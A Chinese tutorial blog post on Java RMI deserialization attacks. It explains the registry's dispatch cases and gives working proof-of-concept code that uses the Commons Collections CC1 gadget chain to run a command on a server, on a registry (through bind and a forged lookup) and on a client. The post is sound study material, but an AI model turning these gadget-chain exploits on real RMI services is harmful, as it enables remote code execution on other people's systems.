RMI(二)-攻击

Chiexf Lv4

0x01 RMI反序列化攻击

RMI交互方式

在RMI过程中,常常会涉及到以下5个交互方式,这几种方法位于RegistryImpl_Skel.dispatch()中,每种方式对应的case如下

  • 0->bind
  • 1->list
  • 2->lookup
  • 3->rebind
  • 4->unbind

list

该方法用来列出Registry上绑定的远程对象

但是没有**readObject()**,所以无法利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
if (var4 != 4905912898345647071L) {
throw new SkeletonMismatchException("interface hash mismatch");
} else {
RegistryImpl var6 = (RegistryImpl)var1;
String var7;
Remote var8;
ObjectInput var10;
ObjectInput var11;
switch (var3) {
//省略部分代码......
case 1:
var2.releaseInputStream();
String[] var97 = var6.list();
try {
ObjectOutput var98 = var2.getResultStream(true);
var98.writeObject(var97);
break;
} catch (IOException var92) {
throw new MarshalException("error marshalling return", var92);
}
//省略部分代码......
}
}
}

lookup

该方法用于获取Registry上的一个远程对象

存在readObject(),不过必须为String类,不能直接利用,但是可以伪造请求连接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
if (var4 != 4905912898345647071L) {
throw new SkeletonMismatchException("interface hash mismatch");
} else {
RegistryImpl var6 = (RegistryImpl)var1;
String var7;
Remote var8;
ObjectInput var10;
ObjectInput var11;
switch (var3) {
//省略部分代码......
case 2:
try {
var10 = var2.getInputStream();
var7 = (String)var10.readObject();
} catch (IOException var89) {
throw new UnmarshalException("error unmarshalling arguments", var89);
} catch (ClassNotFoundException var90) {
throw new UnmarshalException("error unmarshalling arguments", var90);
} finally {
var2.releaseInputStream();
}
var8 = var6.lookup(var7);
try {
ObjectOutput var9 = var2.getResultStream(true);
var9.writeObject(var8);
break;
} catch (IOException var88) {
throw new MarshalException("error marshalling return", var88);
}
//省略部分代码......
}
}
}

bind

该方法用来在Registry上绑定一个远程对象

存在readObject(),且需要为StringRemote类对象,所以我们可以将Object强转为Remote类型来利用

如果在服务端安装了存在反序列化漏洞的相关组件,那么我们就有机会利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
if (var4 != 4905912898345647071L) {
throw new SkeletonMismatchException("interface hash mismatch");
} else {
RegistryImpl var6 = (RegistryImpl)var1;
String var7;
Remote var8;
ObjectInput var10;
ObjectInput var11;
switch (var3) {
case 0:
try {
var11 = var2.getInputStream();
var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
} catch (IOException var94) {
throw new UnmarshalException("error unmarshalling arguments", var94);
} catch (ClassNotFoundException var95) {
throw new UnmarshalException("error unmarshalling arguments", var95);
} finally {
var2.releaseInputStream();
}
var6.bind(var7, var8);
try {
var2.getResultStream(true);
break;
} catch (IOException var93) {
throw new MarshalException("error marshalling return", var93);
}
//省略部分代码......
}
}
}

rebind

bind方法类似

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
if (var4 != 4905912898345647071L) {
throw new SkeletonMismatchException("interface hash mismatch");
} else {
RegistryImpl var6 = (RegistryImpl)var1;
String var7;
Remote var8;
ObjectInput var10;
ObjectInput var11;
switch (var3) {
//省略部分代码......
case 3:
try {
var11 = var2.getInputStream();
var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
} catch (IOException var85) {
throw new UnmarshalException("error unmarshalling arguments", var85);
} catch (ClassNotFoundException var86) {
throw new UnmarshalException("error unmarshalling arguments", var86);
} finally {
var2.releaseInputStream();
}
var6.rebind(var7, var8);
try {
var2.getResultStream(true);
break;
} catch (IOException var84) {
throw new MarshalException("error marshalling return", var84);
}
//省略部分代码......
}
}
}

unbind

lookup方法类似

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
if (var4 != 4905912898345647071L) {
throw new SkeletonMismatchException("interface hash mismatch");
} else {
RegistryImpl var6 = (RegistryImpl)var1;
String var7;
Remote var8;
ObjectInput var10;
ObjectInput var11;
switch (var3) {
//省略部分代码......
case 4:
try {
var10 = var2.getInputStream();
var7 = (String)var10.readObject();
} catch (IOException var81) {
throw new UnmarshalException("error unmarshalling arguments", var81);
} catch (ClassNotFoundException var82) {
throw new UnmarshalException("error unmarshalling arguments", var82);
} finally {
var2.releaseInputStream();
}
var6.unbind(var7);
try {
var2.getResultStream(true);
break;
} catch (IOException var80) {
throw new MarshalException("error marshalling return", var80);
}
default:
throw new UnmarshalException("invalid method number");
}
}
}

攻击方式

存在的攻击方式有一下三种

  • 客户端打注册中心
  • 客户端打服务端
  • 服务端打客户端

0x02 攻击利用

攻击Server端

首先,Client会去获取Server端创建的Stub,然后在本地调用这个Stub并传递参数

然后Stub会序列化这个参数再传递给Server端,Server端会反序列化这个参数再调用

如果此时的Client传递的参数是个Object类型的恶意对象参数

而且此时的Server存在有漏洞的组件,那么就有可能会造成反序列化漏洞

利用条件

  • Server端存在接收Object对象的远程对象方法
  • Server端存在有反序列化漏洞的组件

服务端

  • ICalc接口

1
2
3
4
public interface ICalc extends Remote {
//带有Object类参数的远程对象
public void ICalc(Object o) throws Exception;
}
  • ICalcImpl实现

1
2
3
4
5
6
7
8
9
10
public class ICalcImpl extends UnicastRemoteObject implements ICalc{
protected ICalcImpl() throws RemoteException{
super();
}

@Override
public void ICalc(Object o) throws Exception {
System.out.println("success");
}
}
  • RMIServer

1
2
3
4
5
6
7
8
9
10
11
12
public class RMIServer {
private void register() throws Exception{
ICalcImpl iCalc = new ICalcImpl();
LocateRegistry.createRegistry(1099);
Naming.bind("rmi://127.0.0.1:1099/calc",iCalc);
System.out.println("Registry运行中......");
}

public static void main(String[] args) throws Exception{
new RMIServer().register();
}
}

客户端

  • ICalc接口

1
2
3
4
public interface ICalc extends Remote {
//带有Object类参数的远程对象
public void ICalc(Object o) throws Exception;
}
  • RMIClient

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public class RMIClient {
public void lookup() throws Exception{
ICalc iCalc = (ICalc) Naming.lookup("rmi://127.0.0.1:1099/calc");
iCalc.ICalc(Exploit());
}

//恶意对象CC1
public static Object Exploit() throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
map.put("value","test");

Map<Object,Object> transformedMp = TransformedMap.decorate(map, null, chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
Object o = annotationInvocationHandlerConstructor.newInstance(Retention.class, transformedMp);
return o;
}

public static void main(String[] args) throws Exception{
new RMIClient().lookup();
}

}

运行结果

成功弹出计算器

  • Server

1
2
3
//结果输出
Registry运行中......
success

攻击registry端

其实攻击的还是与Registry交互的几种方式

调用bind/rebind攻击

由前面我们可以知道,当调用bind/rebind时,会调用readObject读出参数名和远程对象,所以就有机会可以利用

不过由于只能接收StringRemote类型,而我们生成的恶意类是Object类型的

所以我们需要使用动态代理将Object强转为Remote类型的参数

这里需要用到**Remote.class.cast()**这个方法,主要用于将一个对象强制转换为指定类或接口的类型

1
2
3
4
5
public T cast(Object obj) {
if (obj != null && !isInstance(obj))
throw new ClassCastException(cannotCastMsg(obj));
return (T) obj;
}
  • Server端不变

  • Client

RMIClient

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
public class RMIClient {
public void lookup() throws Exception{
Registry registry= LocateRegistry.getRegistry("127.0.0.1",1099);
registry.bind("Exploit", (Remote) Exploit());
}

//恶意对象CC1
public static Object Exploit() throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
map.put("value","test");

Map<Object,Object> transformedMp = TransformedMap.decorate(map, null, chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);

//利用动态代理,将其转为Remote对象
InvocationHandler o = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Retention.class, transformedMp);
Object RemoteProxy = Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, o);
Remote cast = Remote.class.cast(RemoteProxy);

return cast;
}

public static void main(String[] args) throws Exception{
new RMI_Client().lookup();
}

}

调用lookup/unbind攻击

bind/rebind不同的是,lookup/unbind只能接收String类型的参数

所以我们只能通过重写代码伪造连接请求,使其可以传入对象

lookup为例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
try {
RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L);
try {
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(var1);
} catch (IOException var18) {
throw new MarshalException("error marshalling arguments", var18);
}
super.ref.invoke(var2);
Remote var23;
try {
ObjectInput var6 = var2.getInputStream();
var23 = (Remote)var6.readObject();
}
//省略部分代码......
}
//省略部分代码......
}
  • Server不变

  • Client

伪造lookup方法,模拟通信过程,并传入恶意信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
public class RMIClient2 {
public void lookup() throws Exception{
//获取Registry
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);

//获取ref
Field refDeclareFiled = registry.getClass().getSuperclass().getSuperclass().getDeclaredField("ref");
refDeclareFiled.setAccessible(true);
UnicastRef ref = (UnicastRef) refDeclareFiled.get(registry);

//获取
Field operationsDeclaredField = registry.getClass().getDeclaredField("operations");
operationsDeclaredField.setAccessible(true);
Operation[] operations = (Operation[]) operationsDeclaredField.get(registry);

//伪造lookup代码,伪造传输信息
RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(Exploit());
ref.invoke(var2);


}
public static Object Exploit() throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
map.put("value","test");

Map<Object,Object> transformedMp = TransformedMap.decorate(map, null, chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);

//利用动态代理,将其转为Remote对象
InvocationHandler o = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Retention.class, transformedMp);
Object RemoteProxy = Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, o);
Remote cast = Remote.class.cast(RemoteProxy);

return cast;
}

public static void main(String[] args) throws Exception{
new RMIClient2().lookup();
}
}

攻击Client端

Server攻击Client

rmi通信过程中,Server会把远程方法执行的结果返回给Client,如果返回的是一个对象,那么就会先序列化这个对象,在传递给Client,并且在Client反序列化

如果返回恶意对象,就有机会达成攻击

  • Server

  • ICalc接口

1
2
3
4
5
public interface ICalc extends Remote {

//带有Object类参数的远程对象
public Object ICalc() throws Exception;
}
  • ICalcImpl实现类
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public class ICalcImpl extends UnicastRemoteObject implements ICalc{

protected ICalcImpl() throws RemoteException {
}

@Override
public Object ICalc() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
map.put("value","test");

Map<Object,Object> transformedMp = TransformedMap.decorate(map, null, chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
Object h = annotationInvocationHandlerConstructor.newInstance(Retention.class, transformedMp);

return h;
}
}
  • RMIServer
1
2
3
4
5
6
7
8
9
10
11
12
13
public class RMIServer {
private void register() throws Exception{
ICalcImpl iCalc = new ICalcImpl();
LocateRegistry.createRegistry(1099);
Naming.bind("rmi://127.0.0.1:1099/calc",iCalc);
System.out.println("Registry运行中......");

}

public static void main(String[] args) throws Exception{
new RMI_Server().register();
}
}
  • Client端

  • RMIClient

1
2
3
4
5
6
7
8
9
10
11
12
13
public class RMI_Client {
public void lookup() throws Exception{
Registry registry= LocateRegistry.getRegistry("127.0.0.1",1099);
ICalc iCalc = (ICalc) registry.lookup("calc");

iCalc.ICalc();
}

public static void main(String[] args) throws Exception{
new RMI_Client().lookup();
}

}

Registry攻击Client

Registry中,除了unbindrebind都会返回数据给客户端,返回的数据是序列化形式

那么到了客户端就会进行反序列化,如果我们能控制注册中心的返回数据,那么就能实现对客户端的攻击